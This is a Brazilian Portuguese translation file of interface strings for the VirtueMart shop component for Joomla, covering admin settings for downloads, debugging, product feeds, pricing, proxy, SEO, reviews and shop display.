COM_VIRTUEMART_ADMIN_CFG_DEBUG_IP_ADDRESS_EXPLAIN="Se você habilitar esta opção e digitar um endereço IP aqui, então a saída de depuração será habilitada APENAS para este endereço IP de cliente. Outros clientes não verão a saída de depuração." COM_VIRTUEMART_ADMIN_CFG_DOWNLOADABLETAB="Downloads" COM_VIRTUEMART_ADMIN_CFG_DOWNLOADROOT="Caminho de Download" COM_VIRTUEMART_ADMIN_CFG_DOWNLOADROOT_EXPLAIN="O caminho físico dos arquivos para o cliente do download . (barra invertida no final!)
            " COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_EXPIRE="Download Expirado" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_EXPIRE_EXPLAIN="Defina o intervalo de tempo em segundos em que o download é habilitado para o cliente." COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_KEEP_STOCKLEVEL="Manter o nível de estoque de produtos em Compras?" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_KEEP_STOCKLEVEL_TIP="Quando ativado, o nível de estoque de um produto para download não é reduzida apesar de ter sido comprado por clientes." COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_MAX="Download Máximo" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_MAX_EXPLAIN="Defina o número de downloads que podem ser feitos com um Download-ID, (por uma ordem)" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_SETTINGS="Configurações de Download" COM_VIRTUEMART_ADMIN_CFG_DYNAMIC_THUMBNAIL_RESIZING="Ativar miniatura de redimensionamento dinâmico ?" COM_VIRTUEMART_ADMIN_CFG_DYNAMIC_THUMBNAIL_RESIZING_TIP="Se marcado, você permite redimensionamento da imagem dinâmica.Isto significa que todas as imagens em miniatura são redimensionadas para caber os tamanhos que você fornecer abaixo" COM_VIRTUEMART_ADMIN_CFG_ENABLE_CONTENT_PLUGIN="Ativar Plugin do Joomla" COM_VIRTUEMART_ADMIN_CFG_ENABLE_CONTENT_PLUGIN_EXPLAIN="Habilitar Plugin de conteúdo do Joomla para a descrição do produto. Não deve ser verificado se você não usar o plugin de conteúdo Joomla" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG="Habilitar mensagens de depuração" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_ADMIN="Somente para administradores" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_ALL="Para todos" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_EXPLAIN="Selecione para quem as mensagens de depuração serão relatadas" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_NONE="Sem depuração" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DOWNLOADS="Habilitar Downloads" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DOWNLOADS_EXPLAIN="Checar para ativar a capacidade de download. Só se você quiser vender bens para download." COM_VIRTUEMART_ADMIN_CFG_ENABLE_ENGLISH="Seqüências de palavras em inglês não traduzidas" COM_VIRTUEMART_ADMIN_CFG_ENABLE_ENGLISH_EXPLAIN="Carregar o arquivo de idioma inglês, para evitar que seqüências de palavras não traduzidas sejam exibidas como chaves" COM_VIRTUEMART_ADMIN_CFG_ENABLE_GOOGLE_JQUERY="Uso da biblioteca jquery externa do google" COM_VIRTUEMART_ADMIN_CFG_ENABLE_GOOGLE_JQUERY_EXPLAIN="Usando a biblioteca externa do google melhora a velocidade página" COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX="Ativar multi fornecedor (experimental apenas para desenvolvedores)" COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX_ADMIN="Administrar multi fornecedor" COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX_EXPLAIN="Ativar somente esta função,quando você pode codificar php e sabe o que fazer, esta é apenas uma opção para habilitar multivendor para personalização." COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX_NONE="nenhum" COM_VIRTUEMART_ADMIN_CFG_ENABLE_PDF_INVOICES="Criar e enviar faturas em pdf" COM_VIRTUEMART_ADMIN_CFG_ENABLE_PDF_INVOICES_EXPLAIN="Para esse recurso é importante definir corretamente seu caminho seguro" COM_VIRTUEMART_ADMIN_CFG_ERRORPAGE="Página de erro" COM_VIRTUEMART_ADMIN_CFG_ERRORPAGE_EXPLAIN="Esta é a página padrão para a exibição de mensagens de erro." COM_VIRTUEMART_ADMIN_CFG_EXPLAIN="Esteja ciente de que se o cache da sessão estiver ativo com uma configuração de 500 minutos. As alterações levarão até 5 minutos para afetar todas as sessões, incluindo a sua sessão. Para gerar uma nova sessão, basta fazer logout e login novamente." COM_VIRTUEMART_ADMIN_CFG_FEATURED_PRODUCTS_PER_ROW="Número padrão de produtos apresentados em uma fileira" COM_VIRTUEMART_ADMIN_CFG_FEATURED_PRODUCTS_PER_ROW_EXPLAIN="Isso define o número de produtos apresentados em uma fileira.
            " COM_VIRTUEMART_ADMIN_CFG_FEEDTAB="Configuração de feed" COM_VIRTUEMART_ADMIN_CFG_FEED_CACHE="Configurações de Cache de feed" COM_VIRTUEMART_ADMIN_CFG_FEED_CACHETIME="Tempo de cache (segundos)" COM_VIRTUEMART_ADMIN_CFG_FEED_CACHE_TIP="Caching acelera a entrega de produto e reduz a carga do servidor, porque o produto é criado apenas uma vez e salvo em um arquivo." COM_VIRTUEMART_ADMIN_CFG_FEED_DESCRIPTION_TYPE="Tipo de descrição de produto" COM_VIRTUEMART_ADMIN_CFG_FEED_DESCRIPTION_TYPE_TIP="Escolha o tipo de descrição do produto que serão incluídos com o feed." COM_VIRTUEMART_ADMIN_CFG_FEED_ENABLE="Ativar feed de produtos" COM_VIRTUEMART_ADMIN_CFG_FEED_ENABLE_TIP="Se habilitado, os clientes podem subscrever um feed que fornece os mais recentes produtos (da totalidade ou de uma determinada categoria), em sua loja." COM_VIRTUEMART_ADMIN_CFG_FEED_LIMITTEXT="Limitar a Descrição?" COM_VIRTUEMART_ADMIN_CFG_FEED_MAX_TEXT_LENGTH="Tamanho máximo da descrição" COM_VIRTUEMART_ADMIN_CFG_FEED_SETTINGS="Configuração de Feed" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWDESC="Incluir a descrição do produto?" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWDESC_TIP="Se habilitado, a descrição do produto será adicionado ao item alimentar" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWIMAGES="Incluir imagens no Feed?" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWIMAGES_TIP="Se ativado, as imagens em miniatura serão inclusas com o item Feed." COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWPRICES="Incluir o preço do produto na descrição?" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWPRICES_TIP="Se ativado, o preço do produto padrão será adicionado a descrição do produto" COM_VIRTUEMART_ADMIN_CFG_FEED_TITLE="Título do Feed" COM_VIRTUEMART_ADMIN_CFG_FEED_TITLE_CATEGORIES="Título do Feed para categorias" COM_VIRTUEMART_ADMIN_CFG_FEED_TITLE_CATEGORIES_TIP="Título para a Categoria Feed ({catname} é o espaço reservado para o nome da categoria, {storename} contém o nome de sua loja)" COM_VIRTUEMART_ADMIN_CFG_FRONTENDAMDIN="Permitir Administração Frontend para não-usuários Backend?" COM_VIRTUEMART_ADMIN_CFG_FRONTENDAMDIN_EXPLAIN="Com essa configuração você pode habilitar a Administração Frontend para os usuários que" COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS="Usando o CSS VirtueMart" COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS_JS_SETTINGS="Ativar estilos Css & Javascripts" COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS_JS_SETTINGS_TIP="Desativar alguns desses scripts requer a instalação do script de reposição em seu Template.
            Em outro caso sua loja não será mais funcional " COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS_TIP="Usando o design original do Virtuemart Css" COM_VIRTUEMART_ADMIN_CFG_FRONT_JPRICE="Usando os Scripts do produto" COM_VIRTUEMART_ADMIN_CFG_FRONT_JPRICE_TIP="Estes scripts são necessários para o funcionamento dinâmico da cesta e preço!
            Você perde todas as atividades inter-padrão, desativando o script" COM_VIRTUEMART_ADMIN_CFG_FRONT_JQUERY="Usando o Virtuemart jQuery" COM_VIRTUEMART_ADMIN_CFG_FRONT_JQUERY_TIP="Para tratar de algumas questões entre VirtueMart e Templates / componentes / módulos, você pode desativar a biblioteca jQuery interna " COM_VIRTUEMART_ADMIN_CFG_FRONT_JSITE="Usando o script de ajax Países / Regiões" COM_VIRTUEMART_ADMIN_CFG_FRONT_JSITE_TIP="Atualização dinâmica de seu país / região não funcionará sem este script.
            Por favor, verificar se isso não afetará o funcionamento do seu site" COM_VIRTUEMART_ADMIN_CFG_GD_MISSING="Redimensionamento dinâmico de imagem não está disponível. Parece estar faltando a biblioteca GD" COM_VIRTUEMART_ADMIN_CFG_HOMEPAGE_SETTINGS="Configurações da Home Page do VirtueMart" COM_VIRTUEMART_ADMIN_CFG_JOOMLA_TEMPLATE_DEFAULT="Usar padrão Joomla" COM_VIRTUEMART_ADMIN_CFG_LANGFIX="Carregar Javascript de correção" COM_VIRTUEMART_ADMIN_CFG_LANGFIX_EXPLAIN="Ativar o script de correção Javascript para algumas versões do Joomla" COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT="Formato do E-mail de pedido" COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT_EXPLAIN="Isto determina como seus e-mails de confirmação de pedido estão configurados" COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT_HTML="HTML mail" COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT_TEXT="Texto mail" COM_VIRTUEMART_ADMIN_CFG_MAIL_FROM_RECIPIENT="Receber e-mail do vendedor com o endereço do destinatário" COM_VIRTUEMART_ADMIN_CFG_MAIL_FROM_RECIPIENT_EXPLAIN="Geralmente o vendedor recebe o e-mail vindo do endereço de e-mail que está na configuração no Joomla. Se você mudar este parâmetro, você irá receber um e-mail vindo do endereço de e-mail do destinatário. Mude esta opção se realmente sabe o que está fazendo! Em caso de dúvida, não mude este parâmetro." COM_VIRTUEMART_ADMIN_CFG_MAIL_FROM_SETSENDER="Endereço do destinatário definido como Remetente, não Responder para" COM_VIRTUEMART_ADMIN_CFG_MAIL_FROM_SETSENDER_EXPLAIN="Se definido, o endereço de email do destinatário é definido como remetente. Senão, o destinatário é configurado como endereço de resposta. Mude esta opção se você realmente sabe o que está fazendo! Em caso de dúvida, não mude este parâmetro." COM_VIRTUEMART_ADMIN_CFG_MAIN_LAYOUT="Layout para sua home page" COM_VIRTUEMART_ADMIN_CFG_MAIN_LAYOUT_TIP="Esse é o layout padrão para a sua home page" COM_VIRTUEMART_ADMIN_CFG_MANUFACTURER_PER_ROW="Número padrão do fabricante em uma linha" COM_VIRTUEMART_ADMIN_CFG_MANUFACTURER_PER_ROW_EXPLAIN="Isso define o número de fabricantes em uma fileira.
            " COM_VIRTUEMART_ADMIN_CFG_MAX_TEXT_LENGTH_TIP="Este é o tamanho máximo da descrição do produto para cada item do Feed." COM_VIRTUEMART_ADMIN_CFG_MEDIA_CATEGORY_PATH="Categoria caminho da mídia" COM_VIRTUEMART_ADMIN_CFG_MEDIA_CATEGORY_PATH_EXPLAIN="Caminho para as imagens das categorias, você pode usar um caminho dentro do caminho da imagem joomla ou não" COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH="Caminho para a venda" COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH_EXPLAIN="Caminho para produtos para download para venda. Este caminho se refere à raiz do seu arquivo, não à raiz do Joomla." COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH_THUMB="Caminho para a miniatura para venda" COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH_THUMB_EXPLAIN="A idéia é que possas representar tuas mercadorias para download por uma miniatura escolhida por ti." COM_VIRTUEMART_ADMIN_CFG_MEDIA_MANUFACTURER_PATH="Caminho mídia do fabricante" COM_VIRTUEMART_ADMIN_CFG_MEDIA_MANUFACTURER_PATH_EXPLAIN="Caminho para as imagens dos fabricantes" COM_VIRTUEMART_ADMIN_CFG_MEDIA_PRODUCT_PATH="Caminho mídia do produto" COM_VIRTUEMART_ADMIN_CFG_MEDIA_PRODUCT_PATH_EXPLAIN="Caminho para as imagens dos produtos" COM_VIRTUEMART_ADMIN_CFG_MEDIA_TITLE="Configurações dos arquivos de mídia" COM_VIRTUEMART_ADMIN_CFG_MEDIA_VENDOR_PATH="Caminho mídia do fornecedor" COM_VIRTUEMART_ADMIN_CFG_MEDIA_VENDOR_PATH_EXPLAIN="Caminho para as imagens do fornecedor" COM_VIRTUEMART_ADMIN_CFG_MORE_CORE_SETTINGS="Configurações do núcleo" COM_VIRTUEMART_ADMIN_CFG_MULTILANGUE="Loja multi-idiomas" COM_VIRTUEMART_ADMIN_CFG_MULTILANGUE_EXPLAIN="Ativar o sistema de multi-tradução" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEFOUND="'imagem não encontrada' imagem" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEFOUND_EXPLAIN="Isto significa que não há nenhuma imagem encontrada no caminho especificado" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEPAGE="'nenhuma imagem' imagem" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEPAGE_EXPLAIN="Esta imagem será mostrada quando nenhuma imagem do produto estiver disponível." COM_VIRTUEMART_ADMIN_CFG_NO_OVERRIDE="Não substituir" COM_VIRTUEMART_ADMIN_CFG_ORDER_DISABLE_DOWNLOADS="Status do pedido que desabilita downloads" COM_VIRTUEMART_ADMIN_CFG_ORDER_DISABLE_DOWNLOADS_EXPLAIN="Define o status do pedido em que o download está desativado para o cliente." COM_VIRTUEMART_ADMIN_CFG_ORDER_ENABLE_DOWNLOADS="Status do pedido que permite fazer download" COM_VIRTUEMART_ADMIN_CFG_ORDER_ENABLE_DOWNLOADS_EXPLAIN="Selecione o status do pedido em que o cliente é notificado sobre o download via e-mail." COM_VIRTUEMART_ADMIN_CFG_PAGINATION_SEQUENCE="Definir a sequência de paginação para a caixa de listagem" COM_VIRTUEMART_ADMIN_CFG_PAGINATION_SEQUENCE_EXPLAIN="Definir uma lista de números separando-os por vírgulas para serem usados na caixa de listagem do Front End.
            Exemplo: 6,12,18,24
            " COM_VIRTUEMART_ADMIN_CFG_PDF_BUTTON="Botão PDF" COM_VIRTUEMART_ADMIN_CFG_PDF_BUTTON_EXPLAIN="Mostrar ou ocultar o PDF - Botão na Loja" COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_ADD="Mostrar 'Notifique-me' ao invés do botão 'Adicionar ao carrinho' " COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_IT="Não mostrar o produto" COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_IT_CHILDREN="Não Mostrar o Produto se os produtos-filhos também estão sem estoque." COM_VIRTUEMART_ADMIN_CFG_POOS_NONE="Produtos esgotados podem ser comprados, nenhuma ação especial" COM_VIRTUEMART_ADMIN_CFG_POOS_RISE_AVATIME="Produtos esgotados podem ser comprados, e exibir o campo disponível" COM_VIRTUEMART_ADMIN_CFG_PRICES="Mostrar os seguintes preços" COM_VIRTUEMART_ADMIN_CFG_PRICES_INCLUDE_TAX="Mostrar preços incluindo o imposto?" COM_VIRTUEMART_ADMIN_CFG_PRICES_LABEL="Mostrar preço" COM_VIRTUEMART_ADMIN_CFG_PRICES_ROUNDING="Dígitos de arredondamento" COM_VIRTUEMART_ADMIN_CFG_PRICES_TEXT="Mostrar legenda" COM_VIRTUEMART_ADMIN_CFG_PRICE_ACCESS_LEVEL="Membergroup para mostrar preços" COM_VIRTUEMART_ADMIN_CFG_PRICE_ACCESS_LEVEL_TIP="O membergroup selecionado e todos os grupos com permissões superiores serão capazes de ver os preços do produto" COM_VIRTUEMART_ADMIN_CFG_PRICE_ASKPRICE="Mostrar chamada de preços, quando o preço está vazio" COM_VIRTUEMART_ADMIN_CFG_PRICE_ASKPRICE_TIP="Isso dá ao usuário a possibilidade de perguntar por um preço, quando você achar conveniente não publicá-lo" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE="Preço base" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_EXPLAIN="Dependendo de onde você faz o seu cálculo do lucro / margem ou é o seu preço de custo ou o preço calculado." COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_VAR="Novo preço base modificado por variante do produto escolhido" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_VAR_EXPLAIN="O preço base fica modificado pela variante produto escolhido" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_WTAX="Preço base com imposto, mas sem descontos" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_WTAX_EXPLAIN="útil para mostrar o preço antigo sem desconto" COM_VIRTUEMART_ADMIN_CFG_PRICE_CONFIGURATION="Configuração de preço" COM_VIRTUEMART_ADMIN_CFG_PRICE_DISCPRICE_WOTAX="Preço com desconto sem impostos" COM_VIRTUEMART_ADMIN_CFG_PRICE_DISCPRICE_WOTAX_EXPLAIN="Isto é interessante para os comerciantes (B2B)" COM_VIRTUEMART_ADMIN_CFG_PRICE_DISC_AMOUNT="Valor do desconto" COM_VIRTUEMART_ADMIN_CFG_PRICE_DISC_AMOUNT_EXPLAIN="útil para o que você economizar dinheiro" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE="Preço final de venda" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_EXPLAIN="Este é o preço que o cliente realmente tem que pagar" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WD="Preço de venda com desconto, mas sem substituir" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WD_EXPLAIN="Este é o mesmo que o preço de venda, exceto que você usou a opção de substituição para um produto específicos" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WOTAX="Preço de venda sem imposto" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WOTAX_EXPLAIN="Isto é interessante para os comerciantes (B2B)" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_PACKAGING_PRICELABEL="Mostrar legenda de preço para embalagem?" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_PACKAGING_PRICELABEL_TIP="Quando marcada, a etiqueta de preço é derivada da unidade de produtos e valores de embalagens" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_TAX="Mostrar Imposto no carrinho" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_TAX_TIP="Exibir os detalhes do Imposto de Compras no carrinho" COM_VIRTUEMART_ADMIN_CFG_PRICE_TAX_AMOUNT="Valor do imposto" COM_VIRTUEMART_ADMIN_CFG_PRICE_TAX_AMOUNT_EXPLAIN="Mostre apenas o imposto" COM_VIRTUEMART_ADMIN_CFG_PRICE_UNITPRICE="preço padronizado" COM_VIRTUEMART_ADMIN_CFG_PRICE_UNITPRICE_EXPLAIN="Um preço padronizado para os produtos vendidos em unidades, como por exemplo em m, l ou kg" COM_VIRTUEMART_ADMIN_CFG_PRICE_VARMOD="Modificador de preço base" COM_VIRTUEMART_ADMIN_CFG_PRICE_VARMOD_EXPLAIN="O modificator do preço base devido a variante do produto escolhido" COM_VIRTUEMART_ADMIN_CFG_PRICINGTAB="preços" COM_VIRTUEMART_ADMIN_CFG_PRODUCTORDERTAB="Configurações da ordem do produto" COM_VIRTUEMART_ADMIN_CFG_PRODUCTS_PER_ROW="Número padrão de produtos em uma linha" COM_VIRTUEMART_ADMIN_CFG_PRODUCTS_PER_ROW_EXPLAIN="Isso define o número de produtos em uma linha.
            " COM_VIRTUEMART_ADMIN_CFG_PRODUCT_LAYOUT="Layout do produto" COM_VIRTUEMART_ADMIN_CFG_PRODUCT_LAYOUT_EXPLAIN="Esse é o layout padrão para exibir os detalhes do produto." COM_VIRTUEMART_ADMIN_CFG_PROXY_PASS="Senha do proxy" COM_VIRTUEMART_ADMIN_CFG_PROXY_PASS_TIP="Se o proxy requer autenticação preencha a senha correta aqui." COM_VIRTUEMART_ADMIN_CFG_PROXY_PORT="Porta proxy" COM_VIRTUEMART_ADMIN_CFG_PROXY_PORT_TIP="A porta utilizada para comunicação com o servidor proxy (principais 80 ou 8080)." COM_VIRTUEMART_ADMIN_CFG_PROXY_SETTINGS="Configurações Globais do proxy" COM_VIRTUEMART_ADMIN_CFG_PROXY_URL="URL para o servidor proxy" COM_VIRTUEMART_ADMIN_CFG_PROXY_URL_TIP="Exemplo" COM_VIRTUEMART_ADMIN_CFG_PROXY_USER="Nome de usuário do proxy" COM_VIRTUEMART_ADMIN_CFG_PROXY_USER_TIP="Se o proxy requer autenticação preencha seu nome de usuário aqui." COM_VIRTUEMART_ADMIN_CFG_RATING="Ativar o sistema de classificação para" COM_VIRTUEMART_ADMIN_CFG_RATING_EXPLAIN="Se ativado, você permite que os clientes para ver a classificação do produto." COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_ALL="Todos" COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_BOUGHT_PRODUCT="Clientes que compraram o produto" COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_NONE="Desabilitado" COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_REGISTERED="Registrado" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW="Mostrar classificação" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_ALL="Para todos" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_EXPLAIN="Se ativado, você permite que os clientes taxem os produtos." COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_NONE="Nenhum" COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_REGISTERED="Para usuários registrados" COM_VIRTUEMART_ADMIN_CFG_REVIEW="Ativar o sistema de revisão para" COM_VIRTUEMART_ADMIN_CFG_REVIEW_EXPLAIN="Se habilitado, você permite que compradores classifiquem os produtos e escrevam opiniões sobre eles.
            " COM_VIRTUEMART_ADMIN_CFG_REVIEW_MAXIMUM_COMMENT_LENGTH="Tamanho máximo do comentário" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MAXIMUM_COMMENT_LENGTH_TIP="Esta é a quantidade máxima de caracteres que podem ser escritos por um cliente em um comentário." COM_VIRTUEMART_ADMIN_CFG_REVIEW_MINIMUM_COMMENT_LENGTH="Tamanho mínimo do comentário" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MINIMUM_COMMENT_LENGTH_TIP="Esta é a quantidade de caracteres mínimos que devem ser escritos por um cliente antes da revisão." COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_ALL="Todos" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_BOUGHT_PRODUCT="Para compradores que compraram o produto" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_NONE="Desabilitado" COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_REGISTERED="Para usuários registrados" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW="Mostrar comentário" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_ALL="Mostrar para todos" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_EXPLAIN="Se habilitado, você permite os compradores lerem os comentários sobre os produtos." COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_NONE="Não mostrar" COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_REGISTERED="Mostrar usuários registrados" COM_VIRTUEMART_ADMIN_CFG_REVIEW_TITLE="Comentários do comprador/Avaliação do sistema" COM_VIRTUEMART_ADMIN_CFG_SEF="SEO" COM_VIRTUEMART_ADMIN_CFG_SEO_DISABLE="SEO Desabilitado" COM_VIRTUEMART_ADMIN_CFG_SEO_DISABLE_TIP="Caso marcado, o SEO é desativado. Quando não está marcada, o SEO é habilitado." COM_VIRTUEMART_ADMIN_CFG_SEO_ENABLE="Habilitar VirtueMart SEO" COM_VIRTUEMART_ADMIN_CFG_SEO_ENABLE_TIP="Ativar o router.php VirtueMart" COM_VIRTUEMART_ADMIN_CFG_SEO_SETTINGS="Configurações SEO" COM_VIRTUEMART_ADMIN_CFG_SEO_SUFIX="Sufixo Seo" COM_VIRTUEMART_ADMIN_CFG_SEO_SUFIX_TIP="Sufixo Seo para adicionar no final de URLs produto" COM_VIRTUEMART_ADMIN_CFG_SEO_TRANSLATE="Traduzir Strings" COM_VIRTUEMART_ADMIN_CFG_SEO_TRANSLATE_TIP="Se ativado, o URL usa o arquivo de idiomas para as strings VirtueMart na URL. Caso contrário, as URLs são criados com strings padrão." COM_VIRTUEMART_ADMIN_CFG_SEO_USE_ID="Use IDs de Produto e Categoria" COM_VIRTUEMART_ADMIN_CFG_SEO_USE_ID_TIP="Se ativado, o ID do produto, e o ID da Categoria serão adicionados na URL. Caso contrário, o URL conterá somente o nome do produto ou o nome da Categoria" COM_VIRTUEMART_ADMIN_CFG_SHOPFRONTTAB="Frente de Loja" COM_VIRTUEMART_ADMIN_CFG_SHOPFRONT_SETTINGS="Configurações Frente de loja" COM_VIRTUEMART_ADMIN_CFG_SHOPTAB="Loja" COM_VIRTUEMART_ADMIN_CFG_SHOP_ADVANCED="Configurações Avançadas" COM_VIRTUEMART_ADMIN_CFG_SHOP_EMAILS="Configurações de Emails" COM_VIRTUEMART_ADMIN_CFG_SHOP_LANGUAGES="Configurações de linguagens" COM_VIRTUEMART_ADMIN_CFG_SHOP_OFFLINE="Loja está OffLine?" COM_VIRTUEMART_ADMIN_CFG_SHOP_OFFLINE_MSG="Mensagem Offline" COM_VIRTUEMART_ADMIN_CFG_SHOP_OFFLINE_TIP="Se você marcar isso, a loja irá exibir uma mensagem off-line." COM_VIRTUEMART_ADMIN_CFG_SHOP_SETTINGS="Configurações da Loja" COM_VIRTUEMART_ADMIN_CFG_SHOWVM_VERSION="Mostrar rodapé" COM_VIRTUEMART_ADMIN_CFG_SHOWVM_VERSION_EXPLAIN="Exibe uma imagem ativada-pelo-rodapé VirtueMart." COM_VIRTUEMART_ADMIN_CFG_SHOW_CATEGORY="Mostrar Categoria Filho" COM_VIRTUEMART_ADMIN_CFG_SHOW_CATEGORY_EXPLAIN="Se marcado, categorias filho será exibido na exibição por categoria, e ver produto." COM_VIRTUEMART_ADMIN_CFG_SHOW_FEATURED="Mostrar destaque" COM_VIRTUEMART_ADMIN_CFG_SHOW_FEATURED_TIP="Se marcado, será exibido Produtos em Destaque na Home Page VirtueMart" COM_VIRTUEMART_ADMIN_CFG_SHOW_LATEST="Mostrar os produtos mais recentes" COM_VIRTUEMART_ADMIN_CFG_SHOW_LATEST_TIP="Se marcado, Produtos mais Recentes serão exibidos na Home Page VirtueMart" COM_VIRTUEMART_ADMIN_CFG_SHOW_MANUFACTURERS="Mostrar fabricantes" COM_VIRTUEMART_ADMIN_CFG_SHOW_MANUFACTURERS_EXPLAIN="Se marcado, será exibido Fabricantes." COM_VIRTUEMART_ADMIN_CFG_SHOW_OUT_OF_STOCK_PRODUCTS="Mostrar produtos que estão em falta no estoque" COM_VIRTUEMART_ADMIN_CFG_SHOW_OUT_OF_STOCK_PRODUCTS_EXPLAIN="Quando ativado, produtos que não estão atualmente em estoque serão exibidos. Caso contrário, esses produtos serão ocultados." COM_VIRTUEMART_ADMIN_CFG_SHOW_PRICES="Mostrar preços" COM_VIRTUEMART_ADMIN_CFG_SHOW_PRICES_EXPLAIN="Marcar para mostrar preços. Se estiver usando a funcionalidade do catálogo, alguns não querem que os preços apareçam nas páginas." COM_VIRTUEMART_ADMIN_CFG_SHOW_RECENT="Mostrar recentes" COM_VIRTUEMART_ADMIN_CFG_SHOW_RECENT_TIP="Se marcado, Produtos Recentes serão exibidos na Home Page VirtueMart" COM_VIRTUEMART_ADMIN_CFG_SHOW_TOPTEN="Mostrar Top 10 produtos" COM_VIRTUEMART_ADMIN_CFG_SHOW_TOPTEN_TIP="Se marcado, Top 10 dos produtos será mostrado na Home Page do VirtueMart" COM_VIRTUEMART_ADMIN_CFG_SSL="Habilitar o SSL para áreas sensíveis (recomendado)" COM_VIRTUEMART_ADMIN_CFG_SSL_EXPLAIN="Isto força o joomla a usar o SSL para os links no carrinho e na área do usuário. Certifique-se de usar as configurações direito joomla para a manutenção do usuário, a ordem anônima e o login" COM_VIRTUEMART_ADMIN_CFG_STATUS_PDF_INVOICES="Default Order Status to send an invoice" COM_VIRTUEMART_ADMIN_CFG_STATUS_PDF_INVOICES_EXPLAIN="Default Order Status to send an invoice. Can be overriden by the payment method" COM_VIRTUEMART_ADMIN_CFG_SYSTEMTAB="Sistema" COM_VIRTUEMART_ADMIN_CFG_SYSTEM_SETTINGS="Configurações do sistema" COM_VIRTUEMART_ADMIN_CFG_TEMPLATESTAB="Temas" COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_HEIGHT="Altura da imagem em miniatura" COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_HEIGHT_TIP="Alvo altura da imagem miniatura redimensionada." COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_WIDTH="Largura da imagem em miniatura" COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_WIDTH_TIP="Alvo largura da imagem da miniatura redimensionada." COM_VIRTUEMART_ADMIN_CFG_TITLES="Títulos e Títulos Profissionais" COM_VIRTUEMART_ADMIN_CFG_TITLES_LBL="Títulos usados ??e Títulos Profissionais" COM_VIRTUEMART_ADMIN_CFG_TOOLS_EXPLAIN="Habilitar a atualização da ferramenta de banco de dados. Estas ferramentas são feitas para os desenvolvedores e pode danificar a sua loja completamente. Por favor, use isto com precaução. " 